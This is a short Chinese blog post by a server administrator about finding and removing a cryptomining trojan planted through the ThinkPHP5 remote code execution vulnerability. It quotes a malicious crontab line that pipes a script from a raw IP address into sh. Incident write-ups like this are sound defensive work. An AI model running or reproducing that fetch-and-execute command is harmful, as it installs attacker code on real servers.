下面由thinkphp教程栏目给大家介绍处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的方法，希望对需要的朋友有所帮助！

记一次挂马清除经历：处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用

执行命令为 :

/tmp/php  -s /tmp/p2.conf

基本可以确定是被挂马了

下一步确定来源

last 没有登陆记录

先干掉这几个进程，但是几分钟之后又出现了

先看看这个木马想干什么吧

netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接

但是tcpdump了一小会儿 没有发现任何数据传递

这他是想干啥？

继续查看日志吧

在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了

wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

顺着下载了几个问题，看了看 应该是个挖矿的木马程序

服务器上的www用户 是安装 lnmp 创建的，看了来源很可能就是web漏洞了。

再看/tmp下的php的权限 就是www的

查看 lnmp下几个站的日志  发现是利用 thinkphp 5最近爆出的远程代码执行漏洞

漏洞细节：https://nosec.org/home/detail/2050.html

修复一下问题解决

但是 这个站点是测试站点  端口监听的是 8083  ，难道现在黑客能开始嗅探非常规端口了？

来源：https://www.simapple.com/425.html

相关推荐：最新的10个thinkphp视频教程

# php  # linux  # html  # thinkphp  # https  # tcpdump  # 几个  # 挖矿  # 想干  # 的是  # 是个  # 看了  # 他是  # 这个问题  # 一台  # 看了看 

相关栏目： 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571 】

相关推荐： Angular 表单中正确绑定输入值以确保提交与验证正常工作  Laravel如何升级到最新版本？（升级指南和步骤）  edge浏览器无法安装扩展 edge浏览器插件安装失败【解决方法】  java中使用zxing批量生成二维码立牌  绝密ChatGPT指令：手把手教你生成HR无法拒绝的求职信  logo在线制作免费网站在线制作好吗,DW网页制作时，如何在网页标题前加上logo？  利用 Google AI 进行 YouTube 视频 SEO 描述优化  如何在 Pandas 中基于一列条件计算另一列的分组均值  jquery插件bootstrapValidator表单验证详解  如何在搬瓦工VPS快速搭建网站？  黑客如何利用漏洞与弱口令入侵网站服务器？  Win11应用商店下载慢怎么办 Win11更改DNS提速下载【修复】  Laravel怎么做缓存_Laravel Cache系统提升应用速度的策略与技巧  JS经典正则表达式笔试题汇总  如何快速生成高效建站系统源代码？  IOS倒计时设置UIButton标题title的抖动问题  Linux网络带宽限制_tc配置实践解析【教程】  香港服务器部署网站为何提示未备案？  Windows11怎样设置电源计划_Windows11电源计划调整攻略【指南】  *服务器网站为何频现安全漏洞？  Laravel如何操作JSON类型的数据库字段？（Eloquent示例）  移动端脚本框架Hammer.js  Mybatis 中的insertOrUpdate操作  如何用PHP快速搭建高效网站？分步指南  javascript中闭包概念与用法深入理解  Laravel怎么清理缓存_Laravel optimize clear命令详解  米侠浏览器网页图片不显示怎么办 米侠图片加载修复  如何在七牛云存储上搭建网站并设置自定义域名？  Laravel如何优化应用性能？（缓存和优化命令）  三星网站视频制作教程下载,三星w23网页如何全屏？  作用域操作符会触发自动加载吗_php类自动加载机制与::调用【教程】  韩国网站服务器搭建指南：VPS选购、域名解析与DNS配置推荐  ChatGPT回答中断怎么办 引导AI继续输出完整内容的方法  手机软键盘弹出时影响布局的解决方法  如何自定义safari浏览器工具栏？个性化设置safari浏览器界面教程【技巧】  Laravel如何实现全文搜索功能？（Scout和Algolia示例）  Windows Hello人脸识别突然无法使用  Laravel模型事件有哪些_Laravel Model Event生命周期详解  Java类加载基本过程详细介绍  Win11怎样安装网易有道词典_Win11安装词典教程【步骤】  laravel服务容器和依赖注入怎么理解_laravel服务容器与依赖注入解析  如何用腾讯建站主机快速创建免费网站？  HTML5段落标签p和br怎么选_文本排版常用标签对比【解答】  Laravel怎么实现验证码功能_Laravel集成验证码库防止机器人注册  阿里云网站搭建费用解析：服务器价格与建站成本优化指南  如何用虚拟主机快速搭建网站？详细步骤解析  laravel怎么在请求结束后执行任务（Terminable Middleware）_laravel Terminable Middleware请求结束任务执行方法  实例解析Array和String方法  利用vue写todolist单页应用  网站视频制作书签怎么做,ie浏览器怎么将网站固定在书签工具栏？